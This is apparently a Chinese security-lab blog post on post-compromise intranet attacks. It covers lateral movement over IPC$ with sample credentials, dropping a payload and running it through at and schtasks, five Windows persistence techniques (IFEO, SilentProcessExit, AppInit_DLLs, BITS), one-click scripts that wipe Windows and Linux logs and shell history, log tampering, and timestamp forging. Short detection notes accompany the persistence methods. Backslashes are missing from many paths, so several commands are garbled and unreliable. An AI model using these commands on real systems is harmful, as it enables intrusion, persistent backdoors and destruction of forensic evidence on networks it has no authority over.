戟星安全实验室
本文约9000字,阅读约需15分钟。
0x00 前言
继上一篇文章输入后续内容。
本文章涉及的工具均打包,关注公众号回复“0602”获取。
0x01 内网渗透基本流程
(一)横向移动
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。
利用Windows远程连接命令进行横向渗透:
在渗透测试中,拿到目标机器的用户明文密码或者NTLM Hash后,可以用Windows自带的方法对远程目标系统进行命令行下的连接操作,连接远程主机并执行相关命令,也可以通过PTH的方法,将散列值或明文密码传递到目标机器中进行验证。
建立IPC连接:
IPC$(Internet Process Connection)是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过ipc$,可以与目标及其建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
通过执行以下命令,我们可以让win7和DC建立IPC连接
net use \<DC的IP>ipc$ "password" /user:"username"
net use \10.20.5.107ipc$ "qwer1234" /user:"Administrator"
net use //查看当前主机所建立的连接
我们列出DC上C盘的目录:
dir \10.20.5.107c$
再如将文件复制到目标主机DC的C盘上面去: (在实战中,我们可以将木马程序复制到目标主机上去)
copy C:UsersdouserDesktopshell.exe \10.20.5.107c$
接着使用at命令创建计划任务,让目标主机在指定的时间运行木马程序(从Win8开始不再支持at命令):
at \10.20.5.107 18:53:00 c:shell.exe
利用 schtasks 命令:
利用schtasks命令创建计划任务进行横向移动的操作流程如下:
1. 先与目标主机建立ipc连接。
2.然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。
3.在目标主机DC上创建一个名称为"backdoor"的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。命令如下: schtasks /create /s 10.20.5.107 /tn backdoor /sc minute /mo 1 /tr c:loader.exe /ru system /f
4.然后执行如下命令立即运行该计划任务(也可以自己等一分钟): schtasks /run /s 110.20.5.107/i /tn backdoor // i: 忽略任何限制立即运行任务 schtasks /run /s 10.20.5.107 /i /tn backdoor /u Administrator /p qwer1234 //遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码
5.计划任务成功运行后,执行如下命令强制删除该计划任务: schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下: 这样就行了:
schtasks /create /s 10.20.5.107 /u Administrator /p qwer1234 /tn backdoor /sc minute /mo 1 /tr c:loader.exe /ru system /f
成功上线炫彩蛇。
利用Impacket网络协议工具包:
Impacket网络协议工具包:
https://github.com/SecureAuthCorp/impacket
Impacket网络协议工具包介绍:
https://www.freebuf.com/sectool/175208.html
还有很多种横向方法,这里就不一一举例了。
(二)权限维持
攻击者尝试维持驻点的技术,包括攻击者用来在重启、修改凭据或者其他能够切断攻击者访问的情况下,依然保持对系统的访问,具体技术包括一些访问某些页面、执行某些操作或者修改配置使得可以在系统上维持驻点,比如替换或劫持合法的代码或添加启动代码,也就是后门。
后门功能:
-
达成目的(必要)
-
写入文件
-
回连cc
-
挖矿
-
记录密码
-
执行命令
-
隐藏与保护过程(二选一)
-
文件隐藏
-
进程隐藏
-
网络隐藏
-
守护进程
-
系统权限启动
-
重复达成目的(二选一)
-
定期触发
-
重启触发
-
常见事件/操作触发
后门分类:
-
按层级分类
-
系统内核级后门:rootkit
-
系统用户级后门:dll劫持
-
中间件后门:webshell、中间件库文件后门
-
应用软件后门:ssh后门、notepad++扩展
-
按功能/启动方式分类
-
web后门:webshell
-
自启动后门:计划任务、开机启动项
-
守护进程后门:守护进程保护恶意进程
-
服务进程后门:svchost服务
.*.这里例举五个Windows权限维持
所有后门需要落地的文件,都没有做免杀。实战情况下,需要对后门文件进行免杀。此外,可以通过命令:
attrib +s +a +h +r cs.exe # 给文件设置系统文件属性、存档文件属性、隐藏文件属性、只读文件属性
例如:attrib +h +s C:WindowsTempevil.exe 隐藏evil文件
1)计划任务:
(1) 原理:windows可以通过计划任务功能定期执行操作。可以在定期执行的任务中写入恶意操作,打到维持权限的目的。
schtasks /create /ru system /tn "MicrosoftWindowsMultimediaSystemMediaService" /sc ONSTART /tr "C:cs.exe" # 创建一个名为MicrosoftWindowsMultimediaSystemMediaService,开机时执行C:cs.exe的计划任务,需要管理员权限
schtasks /change /tn "MicrosoftWindowsMultimediaSystemSoundsService" /ru system /tr "C:cs.exe" /enable # 修改MicrosoftWindowsMultimediaSystemSoundsService计划任务,需要管理员权限,更改任务无法通过/sc、/mo参数更改计划频率
(2) 检测:查看计划任务程序库中是否存在异常计划任务。
(3) 清除:删除异常计划任务及对应文件。
2)映像劫持:
(1) 原理:映像劫持也被成为"IFEO"(Image File Execution Options),当目标程序被映像劫持时,双击目标程序,系统会转而运行劫持程序,并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软的运行,并运行自己的程序。
造成映像劫持的罪魁祸首就是参数"Debugger",它是IFEO中第一个被处理的参数。系统如果发现某个程序文件在IFEO列表中,就会首先来读取Debugger参数。如果该参数不为空,系统则会把Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。
参数"Debugger"本来是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序,早期是为了兼容早期版本,现在却成了病毒的攻击手段。
windows server 2008 r2 standard:
在注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options项下添加sethc.exe项,在该项下添加debugger键,值为要执行的程序。这里添加c:windowssystem32cmd.exe
REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v debugger /t REG_SZ /d "C:windowssystem32cmd.exe" /f
win 10:
亲测亦可,但是需要管理员权限运行cmd后再执行添加命令。
其他适用的辅助功能还有:
安装了360的情况下,无法在该注册表下添加任何项。
辅助功能 |
路径 |
屏幕键盘 |
c:windowssystem32osk.exe |
放大镜 |
c:windowssystem32Magnify.exe |
旁白 |
c:windowssystem32Narrator.exe |
显示开关 |
c:windowssystem32DisplaySwitch.exe |
应用程序开关 |
c:windowssystem32AtBroker.exe |
(2) 检测:查看IFEO项下的每一个子项,检查其中带debugger键的值。
(3) 清除:删除异常debugger键。
3)进程退出静默执行:
(1) 原理:注册表位置
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionSilentProcessExit
可以添加程序退出时静默执行的程序,我们可以添加常见程序到该注册表下实现权限维持。
这种方式是IEFO映像劫持的进阶操作。
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d "c:cscs.exe"
打开记事本并关闭窗口后,主机上线。
这里有个点,如果是关闭窗口的方式反弹回来的是普通权限,如果是通过任务管理器结束任务的方式反弹回来的是管理员权限。
windows server 2008 r2 standard:
win 10:
(2) 检测:查看HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit下是否存在异常子项,默认下面是没有任何项的。
(3) 清除:删除存在异常的子项。
4)进程注入之AppInit_DLLs注册表项:
测试过程中,使用命令添加注册表项失败,winser08和win10均无法通过命令添加注册表项。
(1) 原理:User32.dll被加载到进程时,会获取
HKEY_LOCAL_MACHINESoftwareMircosoftWindowsNTCurrentVersionWindowsAppinit_Dlls
注册表项。若有值,则调用LoadLibrary() API加载Appinit_Dlls制定的DLL,只会影响加载了user32.dll的进程。
windows server 2008 r2 standard:
设置Appinit_Dlls的值为恶意DLL路径,设置LoadAppInit_DLLs的值为1,设置RequireSignedAppInit_DLLs为0:
reg add "HKEY_LOCAL_MACHINESOFTWAREMircosoftWindowsNTCurrentVersionWindows" /v Appinit_Dlls /t REG_SZ /d "c:cs.dll" /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMircosoftWindowsNTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d0x1 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMircosoftWindowsNTCurrentVersionWindows" /v RequireSignedAppInit_DLLs /t REG_DWORD/d 0x0 /f
启动cmd、计算器即可触发。
win10:
win10下没有RequireSignedAppInit_DLLs键,只需设置Appinit_Dlls的值为恶意DLL路径,设置LoadAppInit_DLLs的值为1即可。
reg add "HKEY_LOCAL_MACHINESOFTWAREMircosoftWindowsNTCurrentVersionWindows" /v Appinit_Dlls /t REG_SZ /d "c:cs.dll" /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMircosoftWindowsNTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d0x1 /f
修改注册表后,每次只要执行需要调用user32.dll的程序都会加载恶意dll。
(2) 检测:查看注册表是否有异常dll值。
HKEY_LOCAL_MACHINESoftwareMircosoftWindowsNTCurrentVersionWindowsAppinit_Dlls
(3) 清除:删除注册表项键值。
5)bits文件传输:
(1) 原理:bits,后台智能传输服务,主要利用网络闲暇时间在后台完成文件的同步或传输,智能的地方就是不会影响其他程序的网络带宽,并且支持在重启/重新建立网络连接后继续传输。bitsadmin是bits的管理工具,默认windows自带,而bitsadmin有一个参数/SetNotityCmdline:
这个参数可以执行程序,利用这一点就可以实现恶意行为。再利用bitsadmin的未完成状态任务重启之后继续执行的特点,实现持久化。
windows server 2008 r2 sp1:
bitsadmin/create test4
bitsadmin /addfile test4 http://127.0.0.1/cs.exe c:usertestcs1.exe # 文件下载可以是任意文件
bitsadmin /SetNotityCmdLine test4 "C:windowssystem32cmd.exe" "cmd.exe" /c c:usertestcs.exe # 这里是要执行的命令,可以是一句话上线木马,也可以执行服务器上的某个木马文件
bitsadmin /resume test4 # 启动任务
服务器重启后,大约1分钟左右,bits任务就会被执行。
win10:
重启之后,快的情况下立马上线,慢的情况下2分钟左右主机上线。
(2) 检测:查看bits任务:
bitsadmin /list /verbos /allusers # 需要管理员权限
可以看到任务执行的命令。
(3) 清除:取消bits任务:
bitsadmin /cancel test4
(三)清理痕迹
痕迹清理:
在我们做完一系列的内网渗透操作后,必然会留下一些蛛丝马迹,因此我们需要给自己” 擦屁股 “。
一键清理痕迹的脚本,修改后缀为bat:
Windows痕迹清理:
@echo off
'wevtutil.exe cl Application
'wevtutil.exe cl Security
'wevtutil.exe cl System
rem wevtutil.exe sl Microsoft-Windows-LiveId/Operational /ca:O:BAG:SYD:(A;;0x1;;;SY)(A;;0x5;;;BA)(A;;0x1;;;LA)
rem wevtutil.exe sl Microsoft-Windows-LiveId/Analytic /ca:O:BAG:SYD:(A;;0x1;;;SY)(A;;0x5;;;BA)(A;;0x1;;;LA)
for /f "tokens=*" %%i in ('wevtutil.exe el') do wevtutil.exe cl "%%i"
pause
Linux痕迹清理:
rm -f /var/log/lastlog
rm -f /var/log/wtmp
rm -f /var/log/btmp
rm -f /var/log/utmp
rm -f /var/log/secure
rm -f /var/log/auth.log
Windows 日志管理工具 wevtutil.exe
wevtutil 搭配 for 循环清除所有日志
批量删日志
for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"
Powershell 批量删日志
wevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"}
加载运行 powershell 脚本删除日志
powershell –exec bypass –Command "& {Import-Module 'C:Invoke-Phant0m.ps1';Invoke-Phant0m}"
github地址:
https://github.com/gouduyao/Invoke-Phant0m
Linux 日志处理
history 命令的清除
history -c # 删除内存中的所有命令历史
history -r # 删除当前会话历史记录
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
系统日志:
linux 日志文件:
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
篡改日志文件:
将所有170.170.64.17ip替换为127.0.0.1
sed -i 's/170.170.64.17/127.0.0.1/g'
一键清除脚本:
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
其他小技巧:
Powershell 清除系统日志:
当我们做了一些操作都会记录到时间查看器里,而下面的 Powershell 就可清除相关日志:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
Powershell 修改文件时间戳:
有时候我们在登陆目标桌面后,根据需求可能会动用目标主机上的文件或者文件夹,而一些管理员很久都不会登陆一次主机;设想当管理员一上线看到自己的文件夹日期有异常,是否会怀疑?
Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:UserssaulGoodmanDesktop工具包pass.txt")
0x03 总结
插曲一下关于设置代理的常用工具
SOCKS代理
我们攻击机一般与被攻击机处于不同的局域网,不能互相通信,所以我们要搭建代理,利用一台能上外网的主机作为跳板,攻击机能与被攻击机的内网正常通信
代理分正向代理和反向代理,正向代理就是攻击机去主动访问被攻击机,反向代理反之
在vps上设置好服务端,把客户端上传到可以访问外网的被攻击机,本地攻击机设置socks代理
Frp:
https://github.com/fatedier/frp
Ew:
https://github.com/idlefire/ew
Nps:
https://github.com/ehang-io/nps
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #
原文始发于微信公众号(戟星安全实验室):史上最全的内网渗透总结(下)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论